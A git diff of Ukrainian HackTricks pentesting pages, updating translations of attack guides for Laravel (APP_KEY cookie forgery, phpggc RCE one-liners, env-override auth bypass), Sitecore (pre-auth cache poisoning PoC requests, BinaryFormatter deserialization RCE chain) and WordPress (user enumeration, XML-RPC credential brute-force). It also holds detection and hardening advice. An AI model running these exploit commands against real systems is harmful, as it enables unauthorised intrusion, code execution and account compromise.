**RCE**. -Нижче наведені стисливі однорядкові приклади, що демонструють повний шлях атаки для кожного з реальних CVE, згаданих вище: +Нижче наведені короткі one-liners, що демонструють повний шлях атаки для кожного з наведених вище реальних CVE: ```bash # Invoice Ninja ≤5 – /route/{hash} php8.2 phpggc Laravel/RCE13 system id -b -f | \ @@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin ./laravel_crypto_killer.py encrypt -k -v payload.bin --session_cookie= > forged.txt curl -H "Cookie: laravel_session=; =$(cat forged.txt)" https://victim/login ``` -## Масове виявлення APP_KEY через cookie brute-force +## Масове виявлення APP_KEY via cookie brute-force -Оскільки кожна нова відповідь Laravel встановлює принаймні 1 зашифроване cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **публічні інтернет-сканери (Shodan, Censys, …) leak millions of ciphertexts**, які можна атакувати офлайн. +Оскільки кожна нова Laravel-відповідь встановлює принаймні 1 зашифровану cookie (`XSRF-TOKEN` і зазвичай `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts**, які можна атакувати офлайн. Ключові висновки дослідження, опублікованого Synacktiv (2024-2025): -* Датасет July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) -* Датасет May 2025 » 625 k tokens, **3.56 % keys cracked** -* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data. -* Велике повторне використання ключів – Top-10 APP_KEYs є жорстко вбудованими дефолтами, що постачаються з комерційними Laravel шаблонами (UltimatePOS, Invoice Ninja, XPanel, …). +* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k) +* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked** +* >1 000 серверів все ще вразливі до legacy CVE-2018-15133, оскільки tokens безпосередньо містять serialized data. +* Масове повторне використання ключів – Top-10 APP_KEYs це hard-coded defaults, що постачаються з комерційними Laravel-шаблонами (UltimatePOS, Invoice Ninja, XPanel, …). -Приватний Go інструмент **nounours** піднімає пропускну здатність AES-CBC/GCM bruteforce до ~1.5 billion tries/s, скорочуючи full dataset cracking до <2 minutes. +Приватний інструмент на Go **nounours** підвищує AES-CBC/GCM bruteforce throughput до ~1.5 billion tries/s, скорочуючи час повного cracking датасету до <2 хвилин. ## CVE-2024-52301 – HTTP argv/env override → auth bypass -Коли PHP має `register_argc_argv=On` (типово для багатьох дистрибутивів), PHP відкриває масив `argv` для HTTP-запитів, похідний з query string. Нові версії Laravel парсили ці “CLI-like” args і поважали `--env=` під час виконання. Це дозволяє змінювати framework environment для поточного HTTP-запиту просто додавши його в будь-який URL: +Коли в PHP встановлено `register_argc_argv=On` (типово для багатьох дистрибутивів), PHP експонує масив `argv` для HTTP-запитів, отриманий із query string. Новіші версії Laravel парсили ці “CLI-like” args і враховували `--env=` під час виконання. Це дозволяє змінити environment фреймворку для поточного HTTP-запиту просто додавши його до будь-якого URL: -- Швидка перевірка: -- Відвідайте `https://target/?--env=local` або будь-який рядок і подивіться на залежні від environment зміни (debug banners, footers, verbose errors). Якщо рядок відображається, override працює. +- Quick check: +- Visit `https://target/?--env=local` or any string and look for environment-dependent changes (debug banners, footers, verbose errors). Якщо рядок відбивається, override працює. -- Приклад впливу (бізнес-логіка, що довіряє спеціальному env): -- Якщо додаток містить гілки на кшталт `if (app()->environment('preprod')) { /* bypass auth */ }`, ви можете автентифікуватися без дійсних облікових даних, надіславши login POST на: +- Impact example (business logic trusting a special env): +- Якщо в додатку є гілки типу `if (app()->environment('preprod')) { /* bypass auth */ }`, ви можете автентифікуватися без дійсних creds, відправивши login POST до: - `POST /login?--env=preprod` -- Примітки: -- Працює для кожного запиту окремо, без персистентності. -- Вимагає `register_argc_argv=On` та вразливої версії Laravel, яка читає argv для HTTP. -- Корисний примітив для отримання більш детальних помилок у “debug” envs або для тригерування шляхів коду, захищених за environment. +- Notes: +- Працює для окремого запиту, без персистентності. +- Потребує `register_argc_argv=On` і вразливої версії Laravel, яка читає argv з HTTP. +- Корисний примітив для отримання більш детальних помилок у “debug” envs або для тригерингу кодових шляхів, захищених по environment. -- Заходи пом'якшення: -- Вимкніть `register_argc_argv` для PHP-FPM/Apache. -- Оновіть Laravel, щоб ігнорувати argv в HTTP-запитах і видалити будь-які припущення довіри, пов'язані з `app()->environment()` в production routes. +- Mitigations: +- Відключити `register_argc_argv` для PHP-FPM/Apache. +- Оновити Laravel, щоб ігнорувати argv для HTTP-запитів і прибрати будь-які припущення довіри, пов'язані з `app()->environment()` у production маршрутах. -Мінімальний потік експлуатації (Burp): +Minimal exploitation flow (Burp): ```http POST /login?--env=preprod HTTP/1.1 Host: target @@ -127,24 +127,24 @@ email=a@b.c&password=whatever&remember=0xdf ## Laravel Tricks -### Режим налагодження +### Debugging mode -Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **чутливих даних**.\ -Наприклад `http://127.0.0.1:8000/profiles`: +Якщо Laravel у **режимі налагодження**, ви зможете отримати доступ до **коду** та **конфіденційних даних**.\ +For example `http://127.0.0.1:8000/profiles`: ![](<../../images/image (1046).png>) -Зазвичай це потрібно для експлуатації інших Laravel RCE CVEs. +Зазвичай це необхідно для exploiting other Laravel RCE CVEs. ### Fingerprinting & exposed dev endpoints Quick checks to identify a Laravel stack and dangerous dev tooling exposed in production: -- `/_ignition/health-check` → Ignition present (debug tool used by CVE-2021-3129). Якщо доступний без автентифікації, застосунок може бути в debug або неправильно налаштований. +- `/_ignition/health-check` → Ignition присутній (інструмент налагодження, використаний у CVE-2021-3129). Якщо доступний без автентифікації, додаток може бути в режимі налагодження або неправильно налаштований. - `/_debugbar` → Laravel Debugbar assets; часто вказує на режим налагодження. -- `/telescope` → Laravel Telescope (dev monitor). Якщо публічно доступний, очікуйте широкого розкриття інформації та можливих дій. -- `/horizon` → Queue dashboard; витік версії та іноді дії, захищені CSRF. -- `X-Powered-By`, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. +- `/telescope` → Laravel Telescope (інструмент моніторингу для розробки). Якщо публічний, очікуйте широкого розкриття інформації та можливих дій. +- `/horizon` → Панель черг; розкриття версії та іноді дії, захищені CSRF. +- X-Powered-By, cookies `XSRF-TOKEN` and `laravel_session`, and Blade error pages also help fingerprint. ```bash # Nuclei quick probe nuclei -nt -u https://target -tags laravel -rl 30 @@ -153,9 +153,9 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/ ``` ### .env -Laravel зберігає APP, який використовується для шифрування cookies та інших облікових даних, у файлі під назвою `.env`, до якого можна отримати доступ за допомогою path traversal через: `/../.env` +Laravel зберігає APP, який він використовує для шифрування cookies та інших облікових даних, у файлі з назвою `.env`, до якого можна отримати доступ через path traversal: `/../.env` -Laravel також покаже цю інформацію на debug page (яка з'являється, коли Laravel виявляє помилку і debug увімкнено). +Laravel також покаже цю інформацію на debug page (яка з'являється, коли Laravel знаходить помилку і режим налагодження увімкнено). Використовуючи секретний APP_KEY Laravel, ви можете decrypt та re-encrypt cookies: @@ -222,18 +222,18 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe Vulnerable versions: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/)) -Інформацію про вразливість десеріалізації можна знайти тут: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) +Докладну інформацію про deserialization vulnerability можна знайти тут: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/) -You can test and exploit it using [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ -Або також можна експлуатувати через metasploit: `use unix/http/laravel_token_unserialize_exec` +Ви можете протестувати та exploit-увати її за допомогою [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\ +Або ви також можете exploit-увати її за допомогою metasploit: `use unix/http/laravel_token_unserialize_exec` ### CVE-2021-3129 -Ще одна десеріалізація: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) +Ще один deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits) -## References +## Посилання * [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html) * [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html) * [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) diff --git a/src/network-services-pentesting/pentesting-web/sitecore/README.md b/src/network-services-pentesting/pentesting-web/sitecore/README.md index c7a1f4fff..f735a38e1 100644 --- a/src/network-services-pentesting/pentesting-web/sitecore/README.md +++ b/src/network-services-pentesting/pentesting-web/sitecore/README.md @@ -1,10 +1,10 @@ -# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning до Post‑auth RCE +# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE {{#include ../../../banners/hacktricks-training.md}} -На цій сторінці підсумовано практичний ланцюг атак проти Sitecore XP 10.4.1, який переходить від pre‑auth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Ці техніки узагальнюються для подібних версій/компонентів Sitecore і дають конкретні примітиви для тестування, виявлення та підвищення стійкості. +На цій сторінці підсумовано практичний ланцюг атаки проти Sitecore XP 10.4.1, який переходить від pre‑auth XAML handler до HTML cache poisoning і, через authenticated UI flow, до RCE через BinaryFormatter deserialization. Техніки узагальнюються для подібних версій/компонентів Sitecore і надають конкретні примітиви для тестування, виявлення та підвищення захищеності. -- Продукт, протестований на уразливість: Sitecore XP 10.4.1 rev. 011628 +- Протестований продукт: Sitecore XP 10.4.1 rev. 011628 - Виправлено в: KB1003667, KB1003734 (червень/липень 2025) Див. також: @@ -17,7 +17,7 @@ ../../../pentesting-web/deserialization/README.md {{#endref}} -## Pre‑auth примітив: XAML Ajax reflection → HtmlCache write +## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write Точка входу — pre‑auth XAML handler, зареєстрований у web.config: ```xml @@ -27,7 +27,7 @@ ``` GET /-/xaml/Sitecore.Shell.Xaml.WebControl ``` -Дерево контролів містить AjaxScriptManager, який у запитах подій читає attacker‑controlled поля і рефлексивно викликає методи на цільових контролах: +Дерево контролів включає AjaxScriptManager, який при запитах подій читає поля, контрольовані атакуючим, і рефлексивно викликає методи у цільових контролях: ```csharp // AjaxScriptManager.OnPreRender string clientId = page.Request.Form["__SOURCE"]; // target control @@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters); // Alternate branch for XML-based controls if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...} ``` -Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl є похідним від Sitecore.Web.UI.WebControl (клас Sitecore), і проходить через ReflectionUtil.Filter allow‑list (Sitecore.*), що розблоковує методи Sitecore.WebControl. +Ключове спостереження: сторінка XAML містить екземпляр XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl успадковується від Sitecore.Web.UI.WebControl (клас Sitecore), який передає allow‑list ReflectionUtil.Filter (Sitecore.*), розблоковуючи методи у Sitecore WebControl. Магічний метод для poisoning: ```csharp @@ -52,9 +52,9 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site); if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout); } ``` -Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за їхніми іменами, ми отримуємо pre‑auth arbitrary HtmlCache write primitive. +Оскільки ми можемо націлитися на xmlcontrol:GlobalHeader і викликати методи Sitecore.Web.UI.WebControl за ім'ям, ми отримуємо pre‑auth довільний примітив запису HtmlCache. -### PoC request (CVE-2025-53693) +### PoC запит (CVE-2025-53693) ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2 Host: target @@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("wat","pwn")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` Примітки: -- __SOURCE — це clientID xmlcontrol:GlobalHeader у межах Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML). +- __SOURCE — це clientID xmlcontrol:GlobalHeader у Sitecore.Shell.Xaml.WebControl (зазвичай стабільний, наприклад ctl00_ctl00_ctl05_ctl03, оскільки він походить зі статичного XAML). - __PARAMETERS має формат Method("arg1","arg2"). -## Що отруїти: побудова ключа кешу +## Що отруїти: конструкція ключа кешу -Типова побудова ключа HtmlCache, яку використовують контролі Sitecore: +Типова конструкція ключа HtmlCache, що використовується контролами Sitecore: ```csharp public virtual string GetCacheKey(){ SiteContext site = Sitecore.Context.Site; @@ -94,9 +94,9 @@ return string.Empty; ``` __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","…attacker HTML…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -## Перерахування кешованих елементів та вимірів “vary by” +## Перерахування кешованих елементів та вимірів “vary by” -Якщо ItemService (неправильно) доступний анонімно, ви можете перерахувати компоненти, що кешуються, щоб визначити точні ключі. +Якщо ItemService (неправильно) відкрито для анонімного доступу, ви можете перерахувати кешовані компоненти, щоб отримати точні ключі. Швидка перевірка: ``` @@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item // 404 Sitecore error body → exposed (anonymous) // 403 → blocked/auth required ``` -Список кешованих елементів та прапорців: +Список кешованих елементів і flags: ``` GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100 ``` -Шукайте поля на кшталт Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати через: +Шукайте поля, такі як Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Імена пристроїв можна перерахувати за допомогою: ``` GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100 ``` ### Side‑channel enumeration under restricted identities (CVE-2025-53694) -Навіть коли ItemService видає себе за обмежений обліковий запис (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount все одно може відображати pre‑ACL Solr hits. Можна brute‑force item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб створити карту внутрішнього вмісту й пристроїв: +Навіть коли ItemService діє від імені обмеженого акаунта (наприклад, ServicesAPI) і повертає порожній Results array, TotalCount може й досі відображати pre‑ACL Solr hits. Ви можете brute‑force item groups/ids із wildcards і спостерігати, як TotalCount збігається, щоб відобразити внутрішній вміст і пристрої: ``` GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true → "TotalCount": 3 @@ -123,7 +123,7 @@ GET /...term=%2B_templatename:Device;%2B_group:aa* GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1* → narrow to a specific item ``` -## Післяавторизаційне RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691) +## Post‑auth RCE: BinaryFormatter sink у convertToRuntimeHtml (CVE-2025-53691) Sink: ```csharp @@ -131,14 +131,14 @@ Sink: byte[] b = Convert.FromBase64String(data); return new BinaryFormatter().Deserialize(new MemoryStream(b)); ``` -Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, декодує base64 і десеріалізує його, а потім вставляє отриманий рядок у HTML: +Доступно через крок pipeline convertToRuntimeHtml — ConvertWebControls, який шукає елемент з id {iframeId}_inner, base64 декодує + десеріалізує його, а потім вставляє отриманий рядок у HTML: ```csharp HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']"); string text2 = inner?.GetAttributeValue("value", ""); if (text2.Length > 0) htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string); ``` -Запуск (авторизований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Енд-ту-енд без кліків у UI: +Тригер (аутентифікований, права Content Editor). Діалог FixHtml викликає convertToRuntimeHtml. Повний сценарій без кліків UI: ``` // 1) Start Content Editor GET /sitecore/shell/Applications/Content%20Editor.aspx @@ -166,29 +166,29 @@ Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}} -## Повний ланцюг +## Повний ланцюжок -1) Pre‑auth зловмисник отруює HtmlCache довільним HTML, рефлективно викликаючи WebControl.AddToCache через XAML AjaxScriptManager. -2) Отруєний HTML доставляє JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через потік FixHtml. -3) Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, що десеріалізує base64, контрольований атакуючим, через BinaryFormatter → RCE під ідентифікатором пулу додатків Sitecore. +1) Pre‑auth зловмисник отруює HtmlCache довільним HTML, рефлексивно викликаючи WebControl.AddToCache через XAML AjaxScriptManager. +2) Отруєний HTML подає JavaScript, який підштовхує автентифікованого користувача Content Editor пройти через процес FixHtml. +3) Сторінка FixHtml запускає convertToRuntimeHtml → ConvertWebControls, які десеріалізують керований зловмисником base64 через BinaryFormatter → RCE під ідентифікацією app pool додатку Sitecore. ## Виявлення -- Pre‑auth XAML: запити до `/-/xaml/Sitecore.Shell.Xaml.WebControl` з `__ISEVENT=1`, підозрілим `__SOURCE` та `__PARAMETERS=AddToCache(...)`. -- ItemService probing: сплески wildcard-запитів до `/sitecore/api/ssc`, великий `TotalCount` з порожнім `Results`. -- Deserialization attempts: `EditHtml.aspx` після чого `FixHtml.aspx?hdl=...` і незвично великий base64 у полях HTML. +- Pre‑auth XAML: запити до `/-/xaml/Sitecore.Shell.Xaml.WebControl` з `__ISEVENT=1`, підозрілим `__SOURCE` та `__PARAMETERS=AddToCache(...)`. +- ItemService probing: сплески запитів з шаблоном до `/sitecore/api/ssc`, великий `TotalCount` з порожнім `Results`. +- Спроби десеріалізації: `EditHtml.aspx` з подальшим `FixHtml.aspx?hdl=...` та незвично великий base64 у полях HTML. -## Посилення захисту +## Зміцнення захисту -- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers або додати сувору валідацію; моніторити і лімітувати швидкість `/-/xaml/`. -- Remove/replace BinaryFormatter; обмежити доступ до convertToRuntimeHtml або забезпечити сильну серверну валідацію потоків редагування HTML. -- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; уникати шаблонів impersonation, які дозволяють leak `TotalCount`‑based side channels. -- Enforce MFA/least privilege для користувачів Content Editor; переглянути CSP щоб зменшити вплив JS steering від cache poisoning. +- Застосуйте патчі Sitecore KB1003667 і KB1003734; закрийте/відключіть pre‑auth XAML handlers або додайте сувору валідацію; моніторьте і лімітуйте швидкість звернень до `/-/xaml/`. +- Видаліть/замініть BinaryFormatter; обмежте доступ до convertToRuntimeHtml або застосуйте сувору серверну валідацію потоків редагування HTML. +- Заблокуйте `/sitecore/api/ssc` для loopback або автентифікованих ролей; уникайте патернів impersonation, які leak побічні канали, засновані на `TotalCount`. +- Вимагайте MFA/принцип найменшого привілею для користувачів Content Editor; перегляньте CSP, щоб зменшити вплив JS steering від cache poisoning. -## References +## Посилання -- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) -- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) +- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) +- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667) - [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index fb70c53b7..c448cd635 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,49 +4,49 @@ ## Базова інформація -- **Uploaded** файли потрапляють в: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Файли тем можна знайти в /wp-content/themes/,** тому якщо ви зміните якийсь php теми щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете **access** файл **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Завантажені** файли потрапляють у: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Файли тем можна знайти в /wp-content/themes/,** тож якщо ви зміните якийсь php файлу теми, щоб отримати RCE, ймовірно ви будете використовувати цей шлях. Наприклад: Використовуючи **theme twentytwelve** ви можете отримати доступ до файлу **404.php** за адресою: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **Ще одна корисна url може бути:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - У **wp-config.php** можна знайти root-пароль бази даних. -- Типові шляхи для логіну, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Типові шляхи для входу, які варто перевірити: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Основні файли WordPress** +### **Main WordPress Files** - `index.php` -- `license.txt` містить корисну інформацію, таку як версія WordPress, що встановлена. -- `wp-activate.php` використовується для процесу активації по email при налаштуванні нового сайту WordPress. -- Папки для логіну (можуть бути перейменовані, щоб сховати їх): +- `license.txt` містить корисну інформацію, таку як версія встановленого WordPress. +- `wp-activate.php` використовується для процесу активації через email при налаштуванні нового сайту WordPress. +- Папки для входу (можуть бути перейменовані, щоб приховати): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` — файл, який реалізує функцію WordPress, що дозволяє передавати дані з використанням HTTP як транспортного механізму та XML як механізму кодування. Цей тип звʼязку був замінений WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Папка `wp-content` — основний каталог, де зберігаються plugins і themes. -- `wp-content/uploads/` — каталог, де зберігаються будь-які файли, завантажені на платформу. -- `wp-includes/` — каталог, де зберігаються core файли, такі як сертифікати, шрифти, JavaScript файли та віджети. -- `wp-sitemap.xml` У версіях WordPress 5.5 і вище, WordPress генерує sitemap XML файл зі всіма публічними записами та публічно опитуваними типами записів і таксономіями. +- `xmlrpc.php` — це файл, який реалізує функціональність WordPress для передавання даних через HTTP як транспорт та XML як механізм кодування. Такий тип взаємодії було замінено WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Папка `wp-content` — основний каталог, де зберігаються плагіни та теми. +- `wp-content/uploads/` — каталог, де зберігаються всі файли, завантажені на платформу. +- `wp-includes/` — каталог, де зберігаються core-файли, такі як сертифікати, шрифти, файли JavaScript та віджети. +- `wp-sitemap.xml` У версіях WordPress 5.5 і вище WordPress генерує sitemap XML з усіма публічними записами та публічно запитуваними типами записів і таксономіями. -Post exploitation +**Пост-експлуатація** -- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, імʼя користувача і пароль, authentication keys and salts, та префікс таблиць бази даних. Цей конфігураційний файл також може використовуватись для активації DEBUG режиму, що може бути корисним при вирішенні проблем. +- Файл `wp-config.php` містить інформацію, необхідну WordPress для підключення до бази даних, таку як назва бази даних, хост бази даних, ім'я користувача і пароль, authentication keys і salts, а також префікс таблиць бази даних. Цей конфігураційний файл також можна використати для активації DEBUG-режиму, який може бути корисним при усуненні несправностей. -### Права користувачів +### Дозволи користувачів -- **Administrator** -- **Editor**: Публікує та керує своїми і чужими записами -- **Author**: Публікує та керує лише своїми записами -- **Contributor**: Пише та керує своїми записами, але не може їх публікувати -- **Subscriber**: Переглядає записи та редагує свій профіль +- **Адміністратор** +- **Редактор**: Публікує та керує своїми й чужими записами +- **Автор**: Публікує та керує власними записами +- **Дописувач**: Пише і керує своїми записами, але не може їх публікувати +- **Підписник**: Переглядає пости та редагує свій профіль -## **Passive Enumeration** +## **Пасивна енумерація** ### **Отримати версію WordPress** -Перевірте, чи можете знайти файли `/license.txt` або `/readme.html` +Перевірте, чи можна знайти файли `/license.txt` або `/readme.html` -У **source code** сторінки (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +У **коді сторінки** (приклад з [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ```bash curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -### Загальні способи отримання версій +### Отримання версій загалом ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -81,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp ### Plugins and Themes -Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно **активно Brute Force список Plugins і Themes** (сподіваємося, що є автоматизовані інструменти, які містять ці списки). +Ймовірно, ви не зможете знайти всі можливі Plugins і Themes. Щоб виявити їх усі, вам потрібно буде **actively Brute Force a list of Plugins and Themes** (на щастя для нас, існують автоматизовані інструменти, які містять ці списки). ### Користувачі -- **ID Brute:** Отримати дійсних користувачів з WordPress сайту можна шляхом Brute Forcing users IDs: +- **ID Brute:** Ви отримуєте валідних користувачів з сайту WordPress шляхом Brute Forcing user IDs: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Якщо відповіді мають статус **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**. +Якщо відповіді — **200** або **30X**, це означає, що id є **дійсним**. Якщо відповідь — **400**, то id є **недійсним**. -- **wp-json:** Ви також можете спробувати отримати інформацію про користувачів, запитуючи: +- **wp-json:** Також можна спробувати отримати інформацію про користувачів, виконуючи запит: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` -Ще один endpoint `/wp-json/`, який може розкрити деяку інформацію про користувачів, це: +Ще один ендпоїнт `/wp-json/`, який може розкрити деяку інформацію про користувачів, це: ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Note that this endpoint only exposes users that have made a post. **Буде надано лише інформацію про користувачів, у яких ця функція увімкнена**. +Зверніть увагу, що ця кінцева точка повертає лише користувачів, які опублікували пост. **Інформація надається лише про користувачів, у яких ця функція увімкнена**. -Also note that **/wp-json/wp/v2/pages** може leak IP-адреси. +Також зауважте, що **/wp-json/wp/v2/pages** може leak IP-адреси. -- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** **відрізняється** — воно вказує, чи **username** існує чи ні. +- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** є **різним** — воно вказує, чи існує зазначений **username** чи ні. ### XML-RPC -If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) for example). +Якщо `xml-rpc.php` активний, ви можете виконати credentials brute-force або використати його для запуску DoS атак на інші ресурси. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example). -To see if it is active try to access to _**/xmlrpc.php**_ and send this request: +Щоб перевірити, чи активний, спробуйте звернутися до _**/xmlrpc.php**_ і відправити цей запит: -**Перевірка** +**Перевірити** ```html system.listMethods @@ -120,9 +120,9 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**Credentials Bruteforce** +**Облікові дані Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт: +**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використати для brute-force облікових даних. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request: ``` -Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials не є дійсними. +Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 повинно з'являтися, якщо облікові дані недійсні. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 